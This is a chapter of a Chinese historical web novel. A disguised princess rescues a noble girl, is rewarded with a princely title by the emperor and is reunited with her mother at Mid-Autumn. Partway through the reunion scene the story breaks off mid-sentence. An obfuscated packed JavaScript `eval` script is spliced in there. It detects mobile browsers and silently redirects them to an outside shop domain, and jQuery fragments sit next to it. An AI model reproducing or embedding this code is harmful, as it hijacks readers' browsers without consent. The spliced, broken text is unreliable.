安王世子幼时落水,自此怕水,安王为爱子填平王府的所有湖泊的事迹,京中权贵大多都知道。
卫明昭看到来人,不想暴露,也只能装作不会游泳的样子,在水中上下扑腾。
可一只手在水下却时不时地把女孩推上去,保护女孩能吸到气,不让她真的出事。
“小姐!”来人发现了水中的两人,看到是自家小姐,立马惊呼出声,“快救人。”
“噗通噗通”连续几个人跳入水中,向他们的方向游来,捞着两人,把他们带到了岸边。
“咳咳咳……”卫明昭一上岸,就装作呛水的模样,剧烈咳嗽,吐出口中的水。
“小郎君怎么样?”一个内侍立马帮他拍了拍背,拿了件外袍给他披上。
她装作惧怕的样子,紧紧拽着外袍,嗓音颤抖装作镇定,“多……多谢,我没事。”
“哕”小女孩一口吐出了呛着的水,眼睛缓缓睁开。
卫明昭刚才急于救人,现在才有闲心,装作不经意扫了一眼自己救的人长什么模样。
是她!
看见女孩的样子,卫明昭心中暗惊。
竟然是梁钰,太平侯梁墉疼爱的幼女,她以前随父王来宫中赴宴,曾经几次远远见过。
梁氏被称为皇族之下第一贵族,出过多位皇后。
辅佐武帝的一代贤后光圣皇后,执掌朝政十八年的居摄太后,含冤而亡令天下人惋惜的怀烈皇后,全都出自梁氏一族。
除了后宫,朝堂上梁氏也极为显赫。
梁家出了两位食邑破万户并且列凤凰阁第二和第四的太平侯梁渊和岁平侯梁柄,以及八位战功赫赫的彻侯,还有不计其数的二千石官员。
虽然自幽帝废杀怀烈皇后和其所出的敬德太子后,对梁氏多番打压,梁氏在朝中的地位有所下降。
可二百余年的家族积累,以及二百余年的姻亲人脉,梁家的地位仍然不容小觑。
她此番救人,没想到救的竟然是梁家人,若能借此与梁家交好,与她未来大有好处。
“多谢你救我。”梁钰看着眼前的少年,虽然身上很难受,可苍白的脸上仍然是扬了个得体的笑容。
“我不会游泳,当不得是我救你,是这些侍卫救了你。”卫明昭没有应下这个感谢。
梁钰还欲开口,卫明昭见聚集来的人越来越多,不想多停留,在她开口前率先开口告辞离开。
她是很想要梁家的这份人情,可她不能表露出来,只有不求施恩,才能更多的利用这份恩情。
她在内侍的带领下,找了个偏殿,换掉了身上这身湿衣服,穿上内侍备好的干净衣物,就被带到乾元殿。
“小民卫明昭拜见陛下。”
“坐吧。”
“听说你刚刚救了梁家的小丫头,做的不错。”
梁钰意外落水,若没有卫明昭的出手相助,或许今日就要死在宫中。
那于他这个新登基的皇帝而言就是一个很大的麻烦了。
“我一时莽撞救人,忘了自己怕水,反而差点给陛下添了麻烦,当不得陛下赞赏。”卫明昭连忙开口推辞。
“小孩子家家,一言一行跟个大人似的,看来这段时间没少受苦。”
卫长易看着小心翼翼端坐在那的卫明昭,面上有些感慨。
他上次见他,他有五岁还是六岁来着,记不清了,不过隐约记得,当时的他还是一个躲在父亲身后,有人依靠的小孩,可现在却成了个小大人。
“一切还好,多谢陛下关心。”
“听闻你的眼睛患了眼疾,如今如何了?”
“已经好了很多了,除了太远处,近处皆能看清。”卫明昭回答的很小心。
“能看清眼下也算不错。”卫长易意有所指。
“陛下说的是。”卫明昭顺着他的话应着。
“我已经派人查明了,巫蛊一事纯属是有人陷害,即日起朕恕你们一家无罪。”
卫明昭听到这句话眼神一亮,立马激动的跪下谢恩:“多谢陛下还我一家清白,我代先父叩谢陛下。”
“起来吧,别跪来跪去了。”
“是。”卫明昭起身,小心翼翼坐在一旁。
“仔细想来,你大哥承业当年在狩猎场上还救过我性命,你父王出手助我一臂之力,你又在刚刚帮我化解了一场危机,你们一家于我而言皆有大功,当赏。”
“即日起,恢复卫琮亲王爵位,追谥其为……”卫长易顿了顿,他不喜欢卫长盛赐的封号,要改,“追谥为庆烈怀王。”
“多谢陛下!”卫明昭面带感激,立马拱手谢恩。
“至于你……”卫长易目光盯着他,想着他今日救人,帮他买了个麻烦,把原本心中的爵位又提了一档。
“封卫明昭为谨郡王,原安王府改为谨王府,查封的家财尽数归还,并赏黄金千两。”
郡王!听到这个爵位,卫明昭心中一惊,接着是巨大的喜悦。
皇帝真的是出手大方,如今这天下,亲王加郡王的人数不足两手之数。
大启朝早期还是皇子尽封王,可自明帝起对于皇室分封爵位就要求极为严苛。
皇帝膝下之子,除了皇后所出可以封王外,其他的大多都只封侯,不受宠的甚至只有一个伯爵。
而皇家子弟想要获封王爵,除了简帝朝有所变化外,其他朝都必须要于国有大功,或战场杀敌立功,或入朝干出一番政绩。
简帝朝有变化,也是因为乾元宫之变,皇帝一下死了十几个孩子,只剩下了四个,一时怜惜才把他们四个加上卫琮五人一起共封亲王。
“谢陛下!”
卫长易看着他因为高兴,总算是有个小孩样,不由得轻笑一声。
“庆而不庆,安而不安,这两个封号都不好,想要在这皇室中好好活着,谨慎小心才是首要。”
“我就是靠着忍和谨慎,才坐上了这皇位,如今这皇室中你与我血缘最近,我希望你能行事小心谨慎一些,莫要让我为难。”
卫长易对于他这个封号语重心长地解释了一番,谨王既是对他的恩赏,也是对他的敲打。
卫明昭自然也明白了皇帝的意思,收起笑容,恭恭敬敬,“臣谨遵陛下圣训,今后必当谨慎行事。”
“好,退下吧,让程攸带你去寿安殿,你的母妃在等你。”
“臣告退。”
卫明昭一转身,脸上便是再难以抑制的激动,时隔大半年,她总算可以见一见娘亲了。
她跟着程攸很快便到了寿安殿,程攸把他送到门口就先离开了,给这对久别重逢母子留下团聚的空间。
卫明昭一个人站在门口,一时竟不敢上前,上前伸手推开这扇门。
娘亲这段时间怎么样?身上的病好全了没?吃的好不好?睡得好不好?有没有消瘦?
以及有没有想她?
一堆的问题出现在她脑海中。
“阿月!”卫明昭还没动,大门便被从内打开,贺仪真一眼便看见了院内的她。
两人目光相对,卫明昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772877|206507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的眼泪再也忍不住流了下来,“娘……娘亲,我来接你回家了。”
面容苍白,消瘦,脸上尽是哀郁之气,分别这段时间,她的娘亲过得一点都不好。
“我的阿月啊!苦了你了。”
贺仪真看着眼前这消瘦的孩子,再也忍不住,一把上前紧紧抱着。
看来娘亲也是想她的。
“我不苦,娘亲别哭。”
卫明昭也伸出双手紧紧抱着,良久才松开,一边安慰,一边用手轻轻擦拭着娘亲眼角的泪。
“我们进屋说。”贺仪真止住眼泪,拉着她进了殿内。
两人坐着,贺仪真倒了杯茶,推到她面前。
卫明昭手捧着娘亲倒的茶,絮絮叨叨的说着她们分别这段时间发生的所有事。
“是娘身子没用,这段时间苦了你和阿秀了。”
贺仪真听完她这段时间的经历,不由得内心泛苦,陷入深深的自责。
“不!娘亲别这么想。”卫明昭看出了她的自责,上前紧紧拥着她,“没有阿娘,我撑不到今日。”
这大半年来真的太苦太苦。
父王离世,与母亲离别,其他人的落井下石,眼盲的折磨,若不是有阿秀的陪伴和对母亲的日夜思念,她撑不到今日。
“阿月的眼睛怎么样了?”
听到明昭刚刚说起她眼盲的经历,她的心就一直提着,只是不忍打断,如今她忍不住伸手,轻轻抚摸她的眼睛。
“无大碍了,娘亲别担心。”卫明昭闭上眼睛,将眼睛凑到她的手上,任她触碰。
“那就好,那就好。”贺仪真提着的心稍稍放下,长舒了一口气。
“娘亲,今日是中秋佳节,随阿月回去吧,我们一起去接阿秀。”
“好!”
贺仪真收拾了几件贴身的东西,就跟着卫明昭离开了皇宫。
宫中侍从驾着马车,一路匆匆,总算在今日结束前赶回了明贤坊。
“阿秀!我带娘亲回来了。”还未进大门,卫明昭便抑制不住心中的喜悦喊了出来。
“婶婶,阿月,你们回来了。”
郁秀听到声音,打开房门,一眼便看见了两人,眼眶不由得一下子红了。
“阿秀瘦了,这段时间辛苦你了。”贺仪真上前,紧紧抱着眼前的她。
“不辛苦,不辛苦。”郁秀也紧紧回抱着。
卫明昭看着相拥的两人,内心是深深的满足与幸福,她最亲最爱的两个人,如今都在她身边。
“娘亲阿秀,我们先回屋吧。”
“今天中秋佳节,我去厨房炒两道菜,一会儿在院子里一起赏月。”卫明昭撸起袖子,就打算往厨房去。
“别忙活了,我已备好了饭菜,就等着你和婶婶了。”郁秀伸手拉住了她。
贺仪真一手拉着一人,“既然饭菜备好了,那我们就开饭吧,庆祝我们一家再度团圆。”
她们三人把厨房里的饭菜端到院内的石桌上,点了几盏灯,在院内用餐。
卫明昭打开了一壶酒,给娘亲和阿秀都满上,给自己也倒了一杯。
她举起杯中酒,“今日是个大喜的日子,阿秀娘亲满饮此杯。”
“愿我们年年有今日,岁岁有今朝,干!”
“干!”三人皆一口饮下杯中酒。
中秋,圆月,微风,灯光,饭桌,亲人,人生不过如此。
卫明昭抬头看着天上的圆月,举起了手中的酒杯。
月亮啊!愿来年亦如此。